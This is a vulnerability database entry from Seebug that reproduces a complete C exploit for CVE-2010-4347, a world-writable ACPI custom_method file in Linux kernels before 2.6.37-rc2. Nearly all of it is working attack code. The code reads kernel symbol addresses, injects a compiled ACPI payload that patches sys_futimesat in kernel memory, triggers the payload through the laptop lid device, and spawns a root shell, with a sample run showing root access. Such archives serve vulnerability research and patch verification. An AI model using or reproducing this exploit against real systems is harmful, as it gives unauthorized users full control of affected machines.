Lucene search

K
seebugRootSSV:70421
HistoryJul 01, 2014 - 12:00 a.m.

Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation

2014-07-0100:00:00
Root
www.seebug.org
28

0.0004 Low

EPSS

Percentile

8.6%

No description provided by source.


                                                /*
 * american-sign-language.c
 *
 * Linux Kernel &#60; 2.6.37-rc2 ACPI custom_method Privilege Escalation
 * Jon Oberheide &#60;[email protected]&#62;
 * http://jon.oberheide.org
 * 
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347
 *
 *   This custom_method file allows to inject custom ACPI methods into the ACPI
 *   interpreter tables. This control file was introduced with world writeable
 *   permissions in Linux Kernel 2.6.33.
 *
 * Usage:
 * 
 *   $ gcc american-sign-language.c -o american-sign-language
 *   $ ./american-sign-language
 *   [+] resolving required symbols...
 *   [+] checking for world-writable custom_method...
 *   [+] checking for an ACPI LID device...
 *   [+] poisoning ACPI tables via custom_method...
 *   [+] triggering ACPI payload via LID device...
 *   [+] triggering exploit via futimesat...
 *   [+] launching root shell!
 *   # id
 *   uid=0(root) gid=0(root) groups=0(root)
 *
 * Notes:
 *
 *   This vuln allows us to write custom ACPI methods and load them into the
 *   kernel as an unprivileged user. We compile some fancy ASL down to AML 
 *   that overrides the ACPI method used when the status of the LID device is 
 *   queried (eg. &#39;open&#39; or &#39;closed&#39; lid on a laptop). When the method is 
 *   triggered, it overlays an OperationRegion on the physical address where 
 *   sys_futimesat is located and overwrites the memory via the Store to 
 *   escalate privileges whenever sys_futimesat is called.
 *
 *   The payload is 64-bit only and depends on the existence of a LID device
 *   (eg. laptop), but the exploit will still tell you if you&#39;re vulnerable
 *   regardless. If you don&#39;t know how to work around these limitations, you 
 *   probably shouldn&#39;t be running this in the first place. :-P
 *
 *   Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;stdint.h&#62;
#include &#60;string.h&#62;
#include &#60;unistd.h&#62;
#include &#60;errno.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;limits.h&#62;
#include &#60;inttypes.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/stat.h&#62;
#include &#60;sys/utsname.h&#62;

/*
 * The ASL payload looks like:
 *
 * DefinitionBlock (&#34;lid.aml&#34;, &#34;SSDT&#34;, 2, &#34;&#34;, &#34;&#34;, 0x00001001) {
 *   Method (\_SB.LID._LID, 0, NotSerialized) {
 *     OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392)
 *     Field(KMEM, AnyAcc, NoLock, Preserve) {
 *       HACK, 0x392
 *     }
 *     Store (Buffer () {
 *       0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec,
 *       0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24,
 *       0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf,
 *       0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89,
 *       0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff,
 *       0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9,
 *       0xc3 }, HACK)
 *     Return (One)
 *   }
 * }
 * 
 * Feel free to `iasl -d` this is you don&#39;t trust me! ;-)
 */
#define PAYLOAD_AML \
&#34;\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00&#34; \
&#34;\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c&#34; \
&#34;\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49&#34; \
&#34;\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0&#34; \
&#34;\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41&#34; \
&#34;\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83&#34; \
&#34;\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24&#34; \
&#34;\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7&#34; \
&#34;\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01&#34;
#define PAYLOAD_LEN 144

#define CUSTOM_METHOD &#34;/sys/kernel/debug/acpi/custom_method&#34;
#define HEY_ITS_A_LID &#34;/proc/acpi/button/lid/LID/state&#34;

unsigned long
get_symbol(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;
 
	f = fopen(&#34;/proc/kallsyms&#34;, &#34;r&#34;);
	if (f == NULL) {
		f = fopen(&#34;/proc/ksyms&#34;, &#34;r&#34;);
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}
 
repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, &#34;%p %c %s\n&#34;, (void **)&addr, &dummy, sname);
		else {
			ret = fscanf(f, &#34;%p %s\n&#34;, (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, &#34;_O/&#34;) || strstr(sname, &#34;_S.&#34;))
					continue;
				p = strrchr(sname, &#39;_&#39;);
				if (p &#62; ((char *)sname + 5) && !strncmp(p - 3, &#34;smp&#34;, 3)) {
					p = p - 4;
					while (p &#62; (char *)sname && *(p - 1) == &#39;_&#39;)
						p--;
					*p = &#39;\0&#39;;
				}
			}
		}
		if (ret == 0) {
			fscanf(f, &#34;%s\n&#34;, sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fclose(f);
			return addr;
		}
	}
 
	fclose(f);
	if (rep)
		return 0;
fallback:
	uname(&ver);
	if (strncmp(ver.release, &#34;2.6&#34;, 3))
		oldstyle = 1;
	sprintf(sname, &#34;/boot/System.map-%s&#34;, ver.release);
	f = fopen(sname, &#34;r&#34;);
	if (f == NULL)
		return 0;
	rep = 1;
	goto repeat;
}

int
main(int argc, char **argv)
{
	int ret;
	FILE *fp;
	char buf[64];
	struct stat sb;
	char payload[PAYLOAD_LEN] = PAYLOAD_AML;
	unsigned long sys_futimesat, prepare_kernel_cred, commit_creds;

	printf(&#34;[+] resolving required symbols...\n&#34;);

	sys_futimesat = get_symbol(&#34;sys_futimesat&#34;);
	if (!sys_futimesat) {
		printf(&#34;[-] sys_futimesat symbol not found, aborting!\n&#34;);
		exit(1);
	}

	prepare_kernel_cred = get_symbol(&#34;prepare_kernel_cred&#34;);
	if (!prepare_kernel_cred) {
		printf(&#34;[-] prepare_kernel_cred symbol not found, aborting!\n&#34;);
		exit(1);
	}

	commit_creds = get_symbol(&#34;commit_creds&#34;);
	if (!commit_creds) {
		printf(&#34;[-] commit_creds symbol not found, aborting!\n&#34;);
		exit(1);
	}

	printf(&#34;[+] checking for world-writable custom_method...\n&#34;);

	ret = stat(CUSTOM_METHOD, &sb);
	if (ret &#60; 0) {
		printf(&#34;[-] custom_method not found, kernel is not vulnerable!\n&#34;);
		exit(1);
	}

	if (!(sb.st_mode & S_IWOTH)) {
		printf(&#34;[-] custom_method not world-writable, kernel is not vulnerable!\n&#34;);
		exit(1);
	}

	printf(&#34;[+] checking for an ACPI LID device...\n&#34;);

	ret = stat(HEY_ITS_A_LID, &sb);
	if (ret &#60; 0) {
		printf(&#34;[-] ACPI LID device not found, but kernel is still vulnerable!\n&#34;);
		exit(1);
	}

	if (sizeof(sys_futimesat) != 8) {
		printf(&#34;[-] payload is 64-bit only, but kernel is still vulnerable!\n&#34;);
		exit(1);
	}

	sys_futimesat &= ~0xffffffff80000000;
	memcpy(&payload[63], &sys_futimesat, 4);
	memcpy(&payload[101], &commit_creds, 4);
	memcpy(&payload[108], &prepare_kernel_cred, 4);

	printf(&#34;[+] poisoning ACPI tables via custom_method...\n&#34;);

	fp = fopen(CUSTOM_METHOD, &#34;w&#34;);
	fwrite(payload, 1, sizeof(payload), fp);
	fclose(fp);

	printf(&#34;[+] triggering ACPI payload via LID device...\n&#34;);

	fp = fopen(HEY_ITS_A_LID, &#34;r&#34;);
	fread(&buf, 1, sizeof(buf), fp);
	fclose(fp);

	printf(&#34;[+] triggering exploit via futimesat...\n&#34;);

	ret = futimesat(0, &#34;/tmp&#34;, NULL);

	if (ret != -1 || errno != EDOTDOT) {
		printf(&#34;[-] unexpected futimesat errno, exploit failed!\n&#34;);
		exit(1);
	}

	if (getuid() != 0) {
		printf(&#34;[-] privileges not escalated, exploit failed!\n&#34;);
		exit(1);
	}

	printf(&#34;[+] launching root shell!\n&#34;);
	execl(&#34;/bin/sh&#34;, &#34;/bin/sh&#34;, NULL);
}